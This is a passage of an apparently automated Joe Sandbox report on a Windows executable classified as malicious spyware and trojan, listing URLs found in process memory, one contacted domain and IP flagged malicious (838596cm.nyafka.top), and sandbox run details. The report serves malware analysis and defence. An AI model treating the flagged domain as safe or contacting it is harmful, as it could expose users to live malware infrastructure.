0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
http://support.voidtools.com/everything/Command_line_options/	Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/downloads/#language	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	false
https://www.voidtools.com/donate/	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229506743.0000000000B95000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000002.2241116739.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245744219.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245791189.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245938206.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000002.2246288546.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp	false
http://www.voidtools.com/everything/update.iniV	Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
http://support.voidtools.com/everything/Search_commands	Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/downloads/#language2P	Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false
http://nsis.sf.net/NSIS_ErrorError	wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, drivEn760.exe, 00000003.00000003.2219049528.0000000005141000.00000004.00000020.00020000.00000000.sdmp, drivEn760.exe, 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, drivEn760.exe, 00000003.00000000.2038693989.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, Everything.exe, 00000006.00000003.2229006860.0000000000BA8000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/downloads/	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2240665516.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
http://support.voidtools.com/everything/Search_syntax	Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	false
http://www.voidtools.com/everything/beta-update.ini	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
http://www.voidtools.com/everything/update.ini&P	Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/downloads/n	Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/support/everything/	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
http://support.voidtools.com/everything/Command_line_optionsR	Everything.exe, 0000000A.00000003.2245768952.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245830909.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/C	Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/support/everything/http://www.voidtools.com/everything/update.iniwww.voidt	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
https://www.voidtools.com/	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/donate/Help	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
https://www.voidtools.com/update/)	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	false
http://www.voidtools.com/everything/beta-update.iniMozilla/5.0	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
https://www.voidtools.com/downloads/b	Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2240665516.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp	false
http://www.voidtools.com/everything/update.ini	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.voidtools.com/update/)InternetReadFileInternetOpenUrlWInternetCloseHandleInternetOpenWwi	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	false
http://support.voidtools.com/everything/Search_syntaxB	Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/pscore68	powershell.exe, 0000001E.00000002.2781172333.000002D005B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2707000759.0000014E00001000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001E.00000002.2781172333.000002D005B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2707000759.0000014E00001000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namePUv	containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false
http://support.voidtools.com/everything/Command_line_options	Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245768952.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245830909.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false
http://www.voidtools.com	drivEn760.exe, 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.112.1	838596cm.nyafka.top	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586066
Start date and time:	2025-01-08 17:11:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	82
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wxl1r0lntg.exe renamed because original name is a hash value
Original Sample Name:	55672946ffc3fa0b0c7670bf37d45225.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@116/168@1/2
EGA Information:	Successful, ratio: 45.5%
HCA Information:	Successful, ratio: 53% Number of executed functions: 190 Number of non-executed functions: 200
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 23.56.254.164, 20.109.210.53, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Everything.exe, PID 7868 because it is empty
Execution Graph export aborted for target KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, PID 8980 because it is empty
Execution Graph export aborted for target KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, PID 9188 because it is empty
Execution Graph export aborted for target containerwebruntime.exe, PID 2300 because it is empty
Execution Graph export aborted for target sihost.exe, PID 9088 because it is empty
Execution Graph export aborted for target wxl1r0lntg.exe, PID 6156 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: wxl1r0lntg.exe

Simulations

Behavior and APIs

Time	Type	Description
11:12:41	API Interceptor	405x Sleep call for process: powershell.exe modified
11:12:50	API Interceptor	3x Sleep call for process: Everything.exe modified
11:12:56	API Interceptor	257009x Sleep call for process: KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe modified
11:12:57	API Interceptor	2x Sleep call for process: svchost.exe modified
